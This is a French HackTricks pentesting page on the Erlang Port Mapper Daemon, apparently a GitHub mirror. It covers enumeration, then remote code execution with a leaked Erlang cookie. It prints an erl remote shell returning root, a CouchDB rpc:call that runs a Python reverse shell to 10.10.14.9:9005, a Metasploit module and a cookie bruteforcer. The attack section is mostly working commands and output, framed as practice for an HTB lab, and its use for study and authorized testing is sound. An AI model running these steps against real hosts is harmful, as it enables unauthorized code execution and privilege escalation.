mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-16 22:18:27 +00:00
111 lines
5.5 KiB
Markdown
111 lines
5.5 KiB
Markdown
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
|
|
# Informations de base
|
|
|
|
Le **Erlang Port Mapper Daemon (epmd)** sert de coordinateur pour les instances Erlang distribuées. Il est responsable de la correspondance des noms de nœuds symboliques avec des adresses machines, garantissant essentiellement que chaque nom de nœud est associé à une adresse spécifique. Ce rôle de **epmd** est crucial pour l'interaction et la communication sans faille entre différents nœuds Erlang à travers un réseau.
|
|
|
|
**Port par défaut** : 4369
|
|
```
|
|
PORT STATE SERVICE VERSION
|
|
4369/tcp open epmd Erlang Port Mapper Daemon
|
|
```
|
|
Ceci est utilisé par défaut sur les installations RabbitMQ et CouchDB.
|
|
|
|
# Énumération
|
|
|
|
## Manuel
|
|
```bash
|
|
echo -n -e "\x00\x01\x6e" | nc -vn <IP> 4369
|
|
|
|
#Via Erlang, Download package from here: https://www.erlang-solutions.com/resources/download.html
|
|
dpkg -i esl-erlang_23.0-1~ubuntu~xenial_amd64.deb
|
|
apt-get install erlang
|
|
erl #Once Erlang is installed this will promp an erlang terminal
|
|
1> net_adm:names('<HOST>'). #This will return the listen addresses
|
|
```
|
|
## Automatique
|
|
```bash
|
|
nmap -sV -Pn -n -T4 -p 4369 --script epmd-info <IP>
|
|
|
|
PORT STATE SERVICE VERSION
|
|
4369/tcp open epmd Erlang Port Mapper Daemon
|
|
| epmd-info:
|
|
| epmd_port: 4369
|
|
| nodes:
|
|
| bigcouch: 11502
|
|
| freeswitch: 8031
|
|
| ecallmgr: 11501
|
|
| kazoo_apps: 11500
|
|
|_ kazoo-rabbitmq: 25672
|
|
```
|
|
# Erlang Cookie RCE
|
|
|
|
## Connexion à distance
|
|
|
|
Si vous pouvez **leak the Authentication cookie**, vous pourrez exécuter du code sur l'hôte. En général, ce cookie se trouve dans `~/.erlang.cookie` et est généré par erlang au premier démarrage. S'il n'est pas modifié ou défini manuellement, c'est une chaîne aléatoire \[A:Z] d'une longueur de 20 caractères.
|
|
```bash
|
|
greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
|
|
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]
|
|
|
|
Eshell V8.1 (abort with ^G)
|
|
|
|
At last, we can start an erlang shell on the remote system.
|
|
|
|
(test@target.fqdn)1>os:cmd("id").
|
|
"uid=0(root) gid=0(root) groups=0(root)\n"
|
|
```
|
|
Plus d'informations sur [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)\
|
|
L'auteur partage également un programme pour bruteforcer le cookie :
|
|
|
|
{% file src="../.gitbook/assets/epmd_bf-0.1.tar.bz2" %}
|
|
|
|
## Connexion locale
|
|
|
|
Dans ce cas, nous allons abuser de CouchDB pour élever les privilèges localement :
|
|
```bash
|
|
HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
|
|
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
|
|
"homer\n"
|
|
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).
|
|
```
|
|
Exemple tiré de [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)\
|
|
Vous pouvez utiliser **la machine Canape HTB pour** **vous entraîner** à **exploiter cette vuln**.
|
|
|
|
## Metasploit
|
|
```bash
|
|
#Metasploit can also exploit this if you know the cookie
|
|
msf5> use exploit/multi/misc/erlang_cookie_rce
|
|
```
|
|
# Shodan
|
|
|
|
* `port:4369 "au port"`
|
|
|
|
|
|
{% hint style="success" %}
|
|
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Soutenir HackTricks</summary>
|
|
|
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
|
|
|
</details>
|
|
{% endhint %}
|